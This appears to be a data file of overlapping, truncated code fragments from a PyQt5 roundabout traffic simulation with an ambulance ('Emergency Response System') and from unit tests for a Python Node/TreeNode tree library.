"of the screen and reflecting it about x axis to make positive y",
"make positive y cooredinates above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer",
"in ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response System\" self.top=100 self.left=100 self.width=500 self.height=500 #button",
"Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings after drawing a",
"= QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height)",
": painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern))",
"QTimer from PyQt5.QtGui import QTransform from PyQt5.QtCore import QPointF from CarMaintainer import CarMaintainer",
"painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw",
"ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response System\" self.top=100 self.left=100 self.width=500 self.height=500 #button =",
"car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings after drawing a psuedo",
"PyQt5 import QtGui from PyQt5.QtWidgets import QApplication,QMainWindow, QWidget, QPushButton from PyQt5.QtGui import QPainter,QBrush,",
"#black centre # ------------------------------------------------------------------------------------------------------------- # Drawing lanes is complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern))",
"Qt from PyQt5.QtCore import QTimer from PyQt5.QtGui import QTransform from PyQt5.QtCore import QPointF",
"line on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.red,Qt.SolidPattern))",
"CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def",
"painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore",
"self.left=100 self.width=500 self.height=500 #button = QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def",
"self.height=500 #button = QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png'))",
"self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the",
"self.title= \"Emergency Response System\" self.top=100 self.left=100 self.width=500 self.height=500 #button = QPushButton('button', self) #button.move(0,0)",
"CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on inner",
"import QApplication,QMainWindow, QWidget, QPushButton from PyQt5.QtGui import QPainter,QBrush, QPen from PyQt5.QtCore import Qt",
"painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on",
"psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS)",
"if a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for",
"import QPointF from CarMaintainer import CarMaintainer from Algorithm import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1",
"from PyQt5.QtWidgets import QApplication,QMainWindow, QWidget, QPushButton from PyQt5.QtGui import QPainter,QBrush, QPen from PyQt5.QtCore",
"reflecting it about x axis to make positive y cooredinates above x axis",
"QTransform from PyQt5.QtCore import QPointF from CarMaintainer import CarMaintainer from Algorithm import Algorithm",
"#button = QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title)",
"complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0],",
"lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre # ------------------------------------------------------------------------------------------------------------- # Drawing lanes is complete.",
"painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre # -------------------------------------------------------------------------------------------------------------",
"timer.start(0) self.title= \"Emergency Response System\" self.top=100 self.left=100 self.width=500 self.height=500 #button = QPushButton('button', self)",
"CarMaintainer from Algorithm import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer =",
"def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate",
"counter=1 for a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint",
"#draw constuction line on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on outer lane",
"on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system",
"#draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black",
"painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre # ------------------------------------------------------------------------------------------------------------- #",
"the middle of the screen and reflecting it about x axis to make",
"painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS)",
"painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on inner lane painter.drawEllipse(QPointF(0,0),200,200)",
"PyQt5.QtGui import QTransform from PyQt5.QtCore import QPointF from CarMaintainer import CarMaintainer from Algorithm",
"InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter= QPainter(self)",
"timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response System\" self.top=100 self.left=100 self.width=500 self.height=500 #button = QPushButton('button',",
"to the middle of the screen and reflecting it about x axis to",
"QtGui from PyQt5.QtWidgets import QApplication,QMainWindow, QWidget, QPushButton from PyQt5.QtGui import QPainter,QBrush, QPen from",
"QPen from PyQt5.QtCore import Qt from PyQt5.QtCore import QTimer from PyQt5.QtGui import QTransform",
"self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def",
"drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False",
"a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False :",
"painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber))",
"painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False:",
"from PyQt5.QtCore import QTimer from PyQt5.QtGui import QTransform from PyQt5.QtCore import QPointF from"
] |
[
"len(node2.children) == 1 def test_multi_append(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2,",
"== node2 assert node2.parents[0] == node1 assert len(node1.children) == 1 assert len(node2.parents) ==",
"color='blue') == node1b1 def test_find_root(self): node1, node1a, node1b, node1a1 = Node(), Node(), Node(),",
"node5 ) for i, node in enumerate(node1.walk()): assert node == result[i], '%s %s",
"== node1b1 assert node1.find_parent(color='blue') == [node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue') == node1b1 def",
"node1.parents.append(node2) assert node1.children[0] == node2 assert node1.parents[0] == node2 assert node2.children[0] == node1",
"TestNode(): def test_append_children_to_node(self): node1, node2 = Node(), Node() node1.children.append(node2) assert node1.children[0] == node2",
"node2, node5 ) for i, node in enumerate(node1.walk()): assert node == result[i], '%s",
"'foo' node3.name = 'bar' assert node1.find(name='foo') == node2 assert node1.find(name='bar') == node3 assert",
"node3) assert len(node1.children) == 2 assert node2 in node1.children assert node3 in node1.children",
"node2.children == [] assert node3.children == [node1, ] def test_find(self): node1, node2, node3",
"class TestTreeNode(): def test_set_parent(self): node1, node2 = TreeNode(), TreeNode() node1.parent = node2 assert",
"test_find_parent_with_value_name(self): node1, node2, node3 = Node(), Node(), Node() node3.attribute_to_find = 'find me' node1.parents.append(node2)",
"= Node(), Node(), Node() node3.attribute_to_find = 'find me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') ==",
"node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) == 0",
"== 0 assert len(node2.children) == 0 def test_remove_same_node_multiple_times(self): node1, node2 = Node(), Node()",
"node3 assert node2.children == [] assert node3.children == [node1, ] def test_find(self): node1,",
"test_walk(self): node1, node2, node3, node4 = Node(), Node(), Node(), Node() node5 = Node()",
"def test_set_parent(self): node1, node2 = TreeNode(), TreeNode() node1.parent = node2 assert node1.parent ==",
"def test_find_parent_node_no_results(self): node1 = Node() assert node1.find_parent(name='just some name') == None def test_find_parent_node_from_node_tree(self):",
"assert node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue') == [node1a1, node1b1] def test_find_immediate_parent_node(self): node1, node2",
"Node() node1.children.append(node2, node3) assert len(node1.children) == 2 assert node2 in node1.children assert node3",
"node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue') == [node1a1, node1b1] def",
"node2 = Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] == node2 assert node1.parents[0] ==",
"def test_find_root(self): node1, node1a, node1b, node1a1 = Node(), Node(), Node(), Node() node1.children.append(node1a, node1b)",
"node2.children.append(node3) node2.children.append(node4) result = (node1, node3, node4, node2, node5 ) for i, node",
"== [node1a1, node1b1] def test_find_immediate_parent_node(self): node1, node2 = Node(), Node() node2.name = 'node",
"node2 def test_find_child_node_no_results(self): node1 = Node() assert node1.find_child(name='just some name') == None def",
"node1 assert len(node1.parents) == 1 assert len(node2.children) == 1 def test_multi_append(self): node1, node2,",
"= 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True)",
"node2.children[0] == node1 assert len(node1.parents) == 1 assert len(node2.children) == 1 def test_multi_append(self):",
"= 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True)",
"assert len(node2.children) == 0 def test_multi_remove(self): node1, node2, node3 = Node(), Node(), Node()",
"assert node3.children == [node1, ] def test_find(self): node1, node2, node3 = TreeNode(), TreeNode(),",
"node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2)",
"Node() node1.children.append(node2, node3) node1.children.remove(node2, node3) assert len(node1.children) == 0 def test_find_immediate_child_node(self): node1, node2",
"(i, node, result[i]) class TestTreeNode(): def test_set_parent(self): node1, node2 = TreeNode(), TreeNode() node1.parent",
"-*- from placidity.node import Node, TreeNode class TestNode(): def test_append_children_to_node(self): node1, node2 =",
"node1.find_root() == None assert node2.find_root() == None def test_find_parent_with_value_name(self): node1, node2, node3 =",
"Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root() == None assert node2.find_root() == None def test_find_parent_with_value_name(self):",
"= Node() node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue' node1.parents.append(node1a, node1b)",
"node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0 def test_multi_remove(self): node1,",
"node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] == node2 assert",
"node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True) == node1b1",
"node1.children assert node3 in node1.children def test_remove_child_node(self): node1, node2 = Node(), Node() node1.children.append(node2)",
"node1b1.find_me = True node1b1.color = 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13)",
"node2 = Node(), Node() node2.name = 'node to be found' node1.parents.append(node2) assert node1.find_parent(name='node",
"assert len(node1.parents) == 0 assert len(node2.children) == 0 def test_multi_remove(self): node1, node2, node3",
"assert node2.children[0] == node1 assert len(node1.parents) == 1 assert len(node2.children) == 1 def",
"== node2 assert node2.children == [node1, ] def test_set_parent_twice(self): node1, node2, node3 =",
"node3 = TreeNode(), TreeNode(), TreeNode() node2.parent = node1 node3.parent = node1 node2.name =",
"= 'bar' assert node1.find(name='foo') == node2 assert node1.find(name='bar') == node3 assert node1.find(name='dummy') ==",
"node1a2 assert node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue') == [node1a1, node1b1] def test_find_immediate_parent_node(self): node1,",
"node1a1.color = 'blue' node1a2 = Node() node1a2.value = 13 node1b = Node() node1b1",
"1 def test_multi_append(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) assert",
"== None assert node1a.find_root() == node1 assert node1b.find_root() == node1 assert node1a1.find_root() ==",
"node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children)",
"node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0 def test_multi_remove(self):",
"test_find_parent_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 = Node() node1a1.color = 'blue'",
"node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue') == [node1a1,",
"TreeNode() node2.parent = node1 node3.parent = node1 node2.name = 'foo' node3.name = 'bar'",
"node1.find_child(name='just some name') == None def test_find_child_node_from_node_tree(self): node1 = Node() node1a = Node()",
"node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0 def test_remove_same_node_multiple_times(self): node1,",
"assert node1.find_root() == None assert node2.find_root() == None def test_find_parent_with_value_name(self): node1, node2, node3",
"node4, node2, node5 ) for i, node in enumerate(node1.walk()): assert node == result[i],",
"node2, node3 = TreeNode(), TreeNode(), TreeNode() node1.parent = node2 node1.parent = node3 assert",
"assert len(node1.parents) == 1 assert len(node2.children) == 1 def test_multi_append(self): node1, node2, node3",
"node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2, node3) assert len(node1.children)",
"test_find_immediate_parent_node(self): node1, node2 = Node(), Node() node2.name = 'node to be found' node1.parents.append(node2)",
"Node(), Node() node3.attribute_to_find = 'find me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3 def",
"node2 def test_find_parent_node_no_results(self): node1 = Node() assert node1.find_parent(name='just some name') == None def",
"to be found' node1.children.append(node2) assert node1.find_child(name='node to be found') == node2 def test_find_child_node_no_results(self):",
"Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0 def",
"Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0 def test_remove_same_node_multiple_times(self):",
"== 1 assert len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(), Node()",
"node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2)",
"== result[i], '%s %s %s' % (i, node, result[i]) class TestTreeNode(): def test_set_parent(self):",
"= Node(), Node(), Node(), Node() node5 = Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result",
"= node2 assert node1.parent == node2 assert node2.children == [node1, ] def test_set_parent_twice(self):",
"node3, node4 = Node(), Node(), Node(), Node() node5 = Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3)",
"node1, node2 = Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) == 0 assert len(node2.parents)",
"Node(), Node(), Node(), Node() node5 = Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result =",
"node2 = Node(), Node() node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1",
"test_append_parents_to_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0]",
"Node() node2.name = 'node to be found' node1.parents.append(node2) assert node1.find_parent(name='node to be found')",
"node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue') == [node1a1, node1b1] assert",
"coding: utf-8 -*- from placidity.node import Node, TreeNode class TestNode(): def test_append_children_to_node(self): node1,",
"assert len(node1.children) == 2 assert node2 in node1.children assert node3 in node1.children def",
"= Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) == 0 assert len(node2.parents) == 0",
"node1, node2 = Node(), Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root() == None assert node2.find_root()",
"len(node2.children) == 0 def test_remove_same_node_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2)",
"== 0 assert len(node2.parents) == 0 def test_remove_parent_node(self): node1, node2 = Node(), Node()",
"Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root() == None assert node1a.find_root() == node1 assert",
"Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1",
"node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1 assert len(node1.parents)",
"Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1",
"Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result = (node1, node3, node4, node2, node5 )",
"node1 assert node1a1.find_root() == node1 def test_cyclic_find(self): node1, node2 = Node(), Node() node1.children.append(node2)",
"Node(), Node() node2.name = 'node to be found' node1.parents.append(node2) assert node1.find_parent(name='node to be",
"== node2 def test_find_parent_node_no_results(self): node1 = Node() assert node1.find_parent(name='just some name') == None",
"node3, node4, node2, node5 ) for i, node in enumerate(node1.walk()): assert node ==",
"== [node1, ] def test_set_parent_twice(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node1.parent",
"= Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children)",
"node2.name = 'node to be found' node1.children.append(node2) assert node1.find_child(name='node to be found') ==",
"assert node1.find_root() == None assert node1a.find_root() == node1 assert node1b.find_root() == node1 assert",
"node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0 def test_remove_same_node_multiple_times(self): node1, node2",
"node1 assert node1b.find_root() == node1 assert node1a1.find_root() == node1 def test_cyclic_find(self): node1, node2",
"== node1 def test_cyclic_find(self): node1, node2 = Node(), Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root()",
"test_remove_child_node(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) == 0 assert",
"node1.find_child(name='node to be found') == node2 def test_find_child_node_no_results(self): node1 = Node() assert node1.find_child(name='just",
"node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert",
"node2 = Node(), Node() node2.name = 'node to be found' node1.children.append(node2) assert node1.find_child(name='node",
"node2.children.append(node1) assert node1.find_root() == None assert node2.find_root() == None def test_find_parent_with_value_name(self): node1, node2,",
"Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) == 0 assert len(node2.parents) == 0 def test_remove_parent_node(self):",
"assert node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue') == [node1a1, node1b1]",
"node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) == 0 assert len(node2.parents) == 0 def test_remove_parent_node(self): node1,",
"True node1b1.color = 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2",
"= Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] ==",
"Node(), Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root() == None assert node2.find_root() == None def",
"node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue') ==",
"== node2 assert node2.children[0] == node1 assert node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self): node1,",
"node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2)",
"assert len(node2.children) == 0 def test_remove_same_node_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2)",
"found') == node2 def test_find_child_node_no_results(self): node1 = Node() assert node1.find_child(name='just some name') ==",
"Node(), Node() node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self):",
"== node1 def test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert",
"] def test_set_parent_twice(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node1.parent = node2",
"node2, node3, node4 = Node(), Node(), Node(), Node() node5 = Node() node1.children.append(node2) node1.children.append(node5)",
"== 0 def test_remove_same_node_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2)",
"node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) assert len(node1.children) == 2 assert",
"Node() node1b1.find_me = True node1b1.color = 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert",
"== None def test_find_parent_with_value_name(self): node1, node2, node3 = Node(), Node(), Node() node3.attribute_to_find =",
"to be found') == node2 def test_find_parent_node_no_results(self): node1 = Node() assert node1.find_parent(name='just some",
"node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue')",
"node2.children.append(node4) result = (node1, node3, node4, node2, node5 ) for i, node in",
"= Node(), Node(), Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root() == None assert",
"assert node2.children == [node1, ] def test_set_parent_twice(self): node1, node2, node3 = TreeNode(), TreeNode(),",
"assert node2.parents[0] == node1 assert len(node1.children) == 1 assert len(node2.parents) == 1 def",
"found' node1.parents.append(node2) assert node1.find_parent(name='node to be found') == node2 def test_find_parent_node_no_results(self): node1 =",
"= TreeNode(), TreeNode(), TreeNode() node2.parent = node1 node3.parent = node1 node2.name = 'foo'",
"node1 def test_append_same_node_as_child_and_parent(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] ==",
"Node() node5 = Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result = (node1, node3, node4,",
"TreeNode(), TreeNode() node1.parent = node2 node1.parent = node3 assert node2.children == [] assert",
